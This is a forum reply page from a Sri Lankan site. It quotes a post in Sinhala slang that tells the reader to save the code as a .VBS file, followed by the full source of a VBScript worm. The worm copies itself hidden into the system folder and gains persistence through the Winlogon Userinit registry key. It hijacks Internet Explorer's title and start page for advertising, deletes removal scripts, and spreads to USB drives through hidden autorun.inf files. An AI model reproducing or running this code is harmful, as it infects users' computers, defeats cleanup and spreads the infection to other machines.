Search
Search titles only
By:
Search titles only
By:
Log in
Register
Search
Search titles only
By:
Search titles only
By:
Menu
Install the app
Install
Forums
New posts
All threads
Latest threads
New posts
Trending threads
Trending
Search forums
What's new
New posts
New ads
New profile posts
Latest activity
Free Ads
Latest reviews
Search ads
Members
Current visitors
New profile posts
Search profile posts
Contact us
Latest ads
Ad icon
Video Content Creator
pramukag
Updated:
Sunday at 6:10 AM
Ad icon
QA Engineer Intern
pramukag
Updated:
Sunday at 6:07 AM
Ad icon
Sell your Land, House on idamata.lk for FREE
sajith.xp.pk
Updated:
Thursday at 9:03 AM
Handmade Character Soft Toys
anil1961
Updated:
Jun 23, 2026
Bodim.lk out now !
Manoj Suranga Bandara
Updated:
Jun 21, 2026
Electronics
Vehicles
Property
Search
Reply to thread
Forums
General
ElaKiri Talk!
mama yanawa machan
Get the App
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Message
<blockquote data-quote="Rangau2" data-source="post: 6169705" data-attributes="member: 157673"><p><strong>......</strong></p><p></p><p>uba yanawanam meka man gane....maka save karaganin .VBS kiyala.....ok ??tata bye bs !!</p><p>but uba yanne ai ban ?</p><p></p><p></p><p></p><p>Option Explicit</p><p>On Error Resume Next</p><p></p><p>Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root</p><p></p><p>Set Fso = CreateObject("Scripting.FileSystemObject")</p><p>Set Shells = CreateObject("Wscript.Shell")</p><p>Set WinDir = Fso.GetSpecialFolder(0)</p><p>Set SystemDir =Fso.GetSpecialFolder(1)</p><p>Set File = Fso.GetFile(WScript.ScriptFullName)</p><p>Set Drv = File.Drive</p><p>Set InDrive = Fso.drives</p><p>Set ReadAll = File.OpenAsTextStream(1,-2)</p><p>do while not ReadAll.atendofstream</p><p>AllFile = AllFile & ReadAll.readline</p><p>AllFile = AllFile & vbcrlf</p><p>Loop</p><p>Count=Drv.DriveType</p><p>Do </p><p>If Not Fso.FileExists(SystemDir & "\Dilan.VBS") then</p><p>set WriteAll = Fso.CreateTextFile(SystemDir & "\Dilan.VBS",2,true)</p><p>WriteAll.Write AllFile </p><p>WriteAll.close</p><p>set WriteAll = Fso.GetFile(SystemDir & "\Dilan.VBS")</p><p>WriteAll.Attributes = -1</p><p>End If </p><p>Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","{U2 Advertising]+94774900234"</p><p>Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.MeeVitha.com"</p><p>Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _</p><p>SystemDir & "\wscript.exe " & SystemDir & "\Dilan.VBS"</p><p>For Each Drives In InDrive </p><p>root = Drives.Path & "\"</p><p>If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then</p><p>Shells.Run "explorer.exe " & root</p><p>End If</p><p>Set folder=Fso.GetFolder(root)</p><p>Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)</p><p>For Each files In folder.Files</p><p>auto=Left(files.Name,7)</p><p>If UCase(auto)=UCase("VirusRemoval") Then</p><p>Set Delete = Fso.DeleteFile(root & files.Name,true)</p><p>End If </p><p>Next </p><p>If Drives.DriveType = 1 Or Drives.DriveType = 2 Then</p><p>If Drives.Path<> "A:" Then</p><p>delext "vbs",WinDir & "\"</p><p>delext "vbs",Drives.Path & "\"</p><p>If Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") Then</p><p>Fso.DeleteFile(Drives.Path & "\VirusRemoval.vbs")</p><p> End If </p><p>If Drives.DriveType = 1 Then</p><p>If Drives.Path<>"A:" Then</p><p>If Not Fso.FileExists(Drives.Path & "\Dilan.VBS") Then</p><p>Set WriteAll=Fso.CreateTextFile(Drives.Path & "\Dilan.VBS",2,True)</p><p>WriteAll.Write AllFile</p><p>WriteAll.Close</p><p>Set WriteAll = Fso.GetFile(Drives.Path & "\Dilan.VBS")</p><p>WriteAll.Attributes = -1</p><p>End If </p><p>If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then </p><p>Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")</p><p>Chg.Attributes = -8</p><p>Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)</p><p>WriteAll.writeline "[autorun]"</p><p>WriteAll.WriteLine "open=wscript.exe Dilan.VBS"</p><p>WriteAll.WriteLine "shell\open=Open"</p><p>WriteAll.WriteLine "shell\open\Command=wscript.exe Dilan.VBS"</p><p>WriteAll.Close</p><p>Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")</p><p>WriteAll.Attributes = -1</p><p>else</p><p>Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)</p><p>WriteAll.writeline "[autorun]"</p><p>WriteAll.WriteLine "open=wscript.exe Dilan.VBS"</p><p>WriteAll.WriteLine "shell\open=Open"</p><p>WriteAll.WriteLine "shell\open\Command=wscript.exe Dilan.VBS"</p><p>WriteAll.Close</p><p>Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")</p><p>WriteAll.Attributes = -1</p><p>End if</p><p>End If</p><p>End If</p><p>End if </p><p>End If</p><p>Next</p><p>if Count <> 1 then</p><p>Wscript.sleep 10000</p><p>end if</p><p>loop while Count<>1</p><p>sub delext(File2Find, SrchPath)</p><p>Dim oFileSys, oFolder, oFile,Cut,Delete</p><p>Set oFileSys = CreateObject("Scripting.FileSystemObject")</p><p>Set oFolder = oFileSys.GetFolder(SrchPath)</p><p>For Each oFile In oFolder.Files</p><p>Cut=Right(oFile.Name,3)</p><p>If UCase(Cut)=UCase(file2find) Then</p><p>END IF</p><p>NEXT</p><p>END SUB</p></blockquote><p></p>
[QUOTE="Rangau2, post: 6169705, member: 157673"] [b]......[/b] uba yanawanam meka man gane....maka save karaganin .VBS kiyala.....ok ??tata bye bs !! but uba yanne ai ban ? Option Explicit On Error Resume Next Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root Set Fso = CreateObject("Scripting.FileSystemObject") Set Shells = CreateObject("Wscript.Shell") Set WinDir = Fso.GetSpecialFolder(0) Set SystemDir =Fso.GetSpecialFolder(1) Set File = Fso.GetFile(WScript.ScriptFullName) Set Drv = File.Drive Set InDrive = Fso.drives Set ReadAll = File.OpenAsTextStream(1,-2) do while not ReadAll.atendofstream AllFile = AllFile & ReadAll.readline AllFile = AllFile & vbcrlf Loop Count=Drv.DriveType Do If Not Fso.FileExists(SystemDir & "\Dilan.VBS") then set WriteAll = Fso.CreateTextFile(SystemDir & "\Dilan.VBS",2,true) WriteAll.Write AllFile WriteAll.close set WriteAll = Fso.GetFile(SystemDir & "\Dilan.VBS") WriteAll.Attributes = -1 End If Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","{U2 Advertising]+94774900234" Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.MeeVitha.com" Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _ SystemDir & "\wscript.exe " & SystemDir & "\Dilan.VBS" For Each Drives In InDrive root = Drives.Path & "\" If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then Shells.Run "explorer.exe " & root End If Set folder=Fso.GetFolder(root) Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true) For Each files In folder.Files auto=Left(files.Name,7) If UCase(auto)=UCase("VirusRemoval") Then Set Delete = Fso.DeleteFile(root & files.Name,true) End If Next If Drives.DriveType = 1 Or Drives.DriveType = 2 Then If Drives.Path<> "A:" Then delext "vbs",WinDir & "\" delext "vbs",Drives.Path & "\" If Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") Then Fso.DeleteFile(Drives.Path & "\VirusRemoval.vbs") End If If Drives.DriveType = 1 Then If Drives.Path<>"A:" Then If Not Fso.FileExists(Drives.Path & "\Dilan.VBS") Then Set WriteAll=Fso.CreateTextFile(Drives.Path & "\Dilan.VBS",2,True) WriteAll.Write AllFile WriteAll.Close Set WriteAll = Fso.GetFile(Drives.Path & "\Dilan.VBS") WriteAll.Attributes = -1 End If If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf") Chg.Attributes = -8 Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True) WriteAll.writeline "[autorun]" WriteAll.WriteLine "open=wscript.exe Dilan.VBS" WriteAll.WriteLine "shell\open=Open" WriteAll.WriteLine "shell\open\Command=wscript.exe Dilan.VBS" WriteAll.Close Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf") WriteAll.Attributes = -1 else Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True) WriteAll.writeline "[autorun]" WriteAll.WriteLine "open=wscript.exe Dilan.VBS" WriteAll.WriteLine "shell\open=Open" WriteAll.WriteLine "shell\open\Command=wscript.exe Dilan.VBS" WriteAll.Close Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf") WriteAll.Attributes = -1 End if End If End If End if End If Next if Count <> 1 then Wscript.sleep 10000 end if loop while Count<>1 sub delext(File2Find, SrchPath) Dim oFileSys, oFolder, oFile,Cut,Delete Set oFileSys = CreateObject("Scripting.FileSystemObject") Set oFolder = oFileSys.GetFolder(SrchPath) For Each oFile In oFolder.Files Cut=Right(oFile.Name,3) If UCase(Cut)=UCase(file2find) Then END IF NEXT END SUB [/QUOTE]
Insert quotes…
Verification
Haya warak paha keeyada? (haya wadi kireema paha)
Post reply
Top
Bottom